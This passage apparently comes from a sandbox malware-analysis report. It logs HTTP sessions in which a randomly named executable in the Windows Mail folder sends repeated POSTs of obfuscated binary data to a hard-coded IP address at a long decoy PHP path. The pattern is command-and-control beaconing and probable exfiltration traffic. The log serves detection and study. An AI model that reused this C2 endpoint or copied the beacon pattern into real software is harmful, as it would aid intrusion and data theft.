Jan 9, 2025 04:12:31.911560059 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:32.049864054 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:32.098917961 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:32.450290918 CET	1764	OUT	Data Raw: 5a 56 5c 5d 5a 5e 5d 5c 55 56 55 5a 56 59 55 56 56 56 5a 58 55 56 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZV\]Z^]\UVUZVYUVVVZXUVS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0,#+'22Y+?7#):&-S<?X&/)7+? \%#Y)
Jan 9, 2025 04:12:32.816584110 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:32.947113991 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 5d 35 5f 26 5a 2b 22 0e 02 28 02 28 0f 2a 32 3f 00 3c 30 26 03 29 3a 3d 00 29 3d 0a 0c 3f 05 29 03 33 0c 36 54 37 2e 2e 5c 23 30 2e 59 0c 1d 39 5a 29 5d 3a 52 25 0a 34 05 3e 0a 3a 58 35 0f 09 5a 30 58 2e 55 26 38 27 0d 3e 22 28 54 2a 32 28 0e 2f 28 2a 1f 30 0d 32 1a 26 3e 21 5e 02 14 23 5d 28 2d 2b 52 3e 19 20 05 25 1c 0c 57 37 3d 32 57 21 2b 3b 18 23 28 3d 05 29 31 2d 05 20 0f 38 13 30 1d 35 42 37 57 25 1c 3d 23 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #]5_&Z+"((2?<0&):=)=?)36T7..\#0.Y9Z)]:R%4>:X5Z0X.U&8'>"(T2(/(*02&>!^#](-+R> %W7=2W!+;#(=)1- 805B7W%=#/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:32.218388081 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:32.575292110 CET	1048	OUT	Data Raw: 5a 53 59 5e 5f 5f 5d 5d 55 56 55 5a 56 5a 55 54 56 56 5a 5e 55 5c 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZSY^__]]UVUZVZUTVVZ^U\S[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&^0*(71_'2\(.$4?>8)Y1)V<[%?/>Q#+/ \%#Y),
Jan 9, 2025 04:12:32.921195984 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:33.057377100 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:33.185847044 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:33.544068098 CET	1048	OUT	Data Raw: 5a 51 5c 5c 5f 5e 5d 5c 55 56 55 5a 56 5a 55 53 56 53 5a 5c 55 51 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQ\\_^]\UVUZVZUSVSZ\UQS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%')"8&'+X?7%]=(=&):? & Y*4/? \%#Y),
Jan 9, 2025 04:12:33.874043941 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:34.003331900 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:34.125077009 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:34.481525898 CET	1048	OUT	Data Raw: 5a 54 59 5a 5f 54 58 50 55 56 55 5a 56 5a 55 57 56 5c 5a 52 55 57 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZTYZ_TXPUVUZVZUWV\ZRUWS\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3# $-?X(78(8*1=Q(1/> _< \%#Y),
Jan 9, 2025 04:12:34.805391073 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:34.938127041 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:35.063462019 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:35.419081926 CET	1048	OUT	Data Raw: 5a 52 5c 5d 5f 58 58 50 55 56 55 5a 56 5b 55 5c 56 53 5a 53 55 5c 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZR\]_XXPUVUZV[U\VSZSU\S]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3/7;-\3!1<>$#&<*':1P+'[$?(])< \%#Y)(
Jan 9, 2025 04:12:35.742770910 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:35.875368118 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:35.998786926 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:36.356667042 CET	1048	OUT	Data Raw: 5a 5a 59 58 5f 5f 58 5f 55 56 55 5a 56 51 55 5d 56 56 5a 58 55 5d 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZYX__X_UVUZVQU]VVZXU]SXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3_7[7+$2=+/Y#%?X>\1:.( 02?0=/+? \%#Y)
Jan 9, 2025 04:12:36.688699007 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:36.817715883 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:36.938307047 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:37.294048071 CET	1048	OUT	Data Raw: 5a 50 5c 5a 5a 59 5d 5c 55 56 55 5a 56 5e 55 51 56 57 5a 5b 55 54 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZP\ZZY]\UVUZV^UQVWZ[UTSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0)7+>3!=(-4#6'\(;-Z'9Q+31?)Q<+ \%#Y)<
Jan 9, 2025 04:12:37.628576994 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:37.757571936 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49772	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:37.890093088 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49773	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:37.955849886 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:38.309696913 CET	1764	OUT	Data Raw: 5a 51 59 51 5f 55 58 5c 55 56 55 5a 56 5d 55 5d 56 52 5a 59 55 5d 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQYQ_UX\UVUZV]U]VRZYU]S]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]'0"8=&!&+>0#5[);&%?32? $,[/ \%#Y)0
Jan 9, 2025 04:12:38.636909008 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:38.770572901 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 20 03 22 00 3e 1f 3f 0c 3c 07 28 3f 30 09 2b 0f 3b 07 2b 1e 36 03 29 04 26 1e 3d 3d 28 0e 28 15 2a 16 24 32 36 13 23 2d 39 03 35 30 2e 59 0c 1d 3a 02 3f 28 31 09 31 0d 2b 10 3e 0a 2d 06 21 1f 06 02 33 2e 35 0b 33 2b 28 1e 28 0b 3c 55 3d 0f 2f 50 2e 01 3a 1f 33 0d 3e 19 25 2e 21 5e 02 14 23 58 2a 2d 06 0d 2a 19 27 1b 31 1c 3a 1c 22 3e 39 0c 21 16 0a 09 35 06 22 18 29 0f 3e 5b 20 1f 0a 5f 30 1d 39 07 23 0f 25 56 3d 23 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: ">?<(?0+;+6)&==(($26#-950.Y:?(11+>-!3.53+((<U=/P.:3>%.!^#X-*'1:">9!5")>[ _09#%V=#/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49774	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:38.075452089 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:38.434669971 CET	1048	OUT	Data Raw: 5f 55 59 5c 5f 5e 5d 5b 55 56 55 5a 56 5d 55 51 56 55 5a 5f 55 57 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _UY\_^][UVUZV]UQVUZ_UWSZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%9, 9'"[<.?Z7'Y)(%\&9=V*3$$?8X>'8( \%#Y)0
Jan 9, 2025 04:12:38.765357971 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:38.893630028 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49775	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:39.020735025 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:39.372195959 CET	1048	OUT	Data Raw: 5f 52 59 59 5f 5b 58 5a 55 56 55 5a 56 5e 55 51 56 50 5a 5d 55 53 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _RYY_[XZUVUZV^UQVPZ]USSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&\39?7;!$!"(. #&/[)(!1_-S?,&?;>Q#+? \%#Y)<
Jan 9, 2025 04:12:39.703811884 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:39.835361004 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49776	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:40.006695032 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:40.356616974 CET	1048	OUT	Data Raw: 5a 5a 59 59 5a 59 58 51 55 56 55 5a 56 5b 55 56 56 56 5a 5d 55 52 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZYYZYXQUVUZV[UVVVZ]URS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&\3:/49[3:Z?=, /Z(;Y%-W(+X%+*'3< \%#Y)(
Jan 9, 2025 04:12:40.730269909 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:40.863198042 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49777	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:41.001811981 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:41.356569052 CET	1048	OUT	Data Raw: 5f 50 5c 5a 5f 5c 5d 5a 55 56 55 5a 56 5d 55 57 56 5c 5a 5d 55 51 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _P\Z_\]ZUVUZV]UWV\Z]UQSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z$)7 '!"]+7]7 >=19&<'_&Y?4,^*/ \%#Y)0
Jan 9, 2025 04:12:41.698601007 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:41.833270073 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49778	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
